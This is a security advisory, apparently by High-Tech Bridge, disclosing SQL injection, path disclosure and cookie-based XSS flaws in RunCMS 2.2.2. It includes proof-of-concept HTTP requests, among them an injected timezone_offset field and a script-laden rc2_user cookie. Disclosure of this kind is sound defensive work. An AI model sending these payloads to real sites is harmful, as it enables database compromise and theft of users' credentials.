Source: http://packetstormsecurity.org/files/view/98472/runcms-sqlxss.txt

================================
Vulnerability ID: HTB22820
Reference: http://www.htbridge.ch/advisory/sql_injection_in_runcms.html
Product: RunCMS
Vendor: http://www.runcms.org/ ( http://www.runcms.org/ ) 
Vulnerable Version: 2.2.2
Vendor Notification: 27 January 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/register.php" script to properly sanitize user-supplied input in "timezone_offset" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


POST /register.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 299

uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address=nope&zip_code=123&town=nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL_CODE_HERE&url=http%3A%2F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verify_text=&verify_crc=&keystring=368483&op=finish


================================
Vulnerability ID: HTB22821
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_runcms.html
Product: RunCMS
Vendor: http://www.runcms.org/ ( http://www.runcms.org/ ) 
Vulnerable Version: 2.2.2
Vendor Notification: 27 January 2011 
Vulnerability Type: Path disclosure
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/include/registerform.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:


http://[host]/include/registerform.php


================================
Vulnerability ID: HTB22822
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_runcms.html
Product: RunCMS
Vendor: http://www.runcms.org/ ( http://www.runcms.org/ ) 
Vulnerable Version: 2.2.2
Vendor Notification: 27 January 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/user.php" script to properly sanitize user-supplied input in "rc2_user" variable from cookies.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:


GET /user.php HTTP/1.1
Cookie: rc2_user='><script>alert("XSS")%3b</script>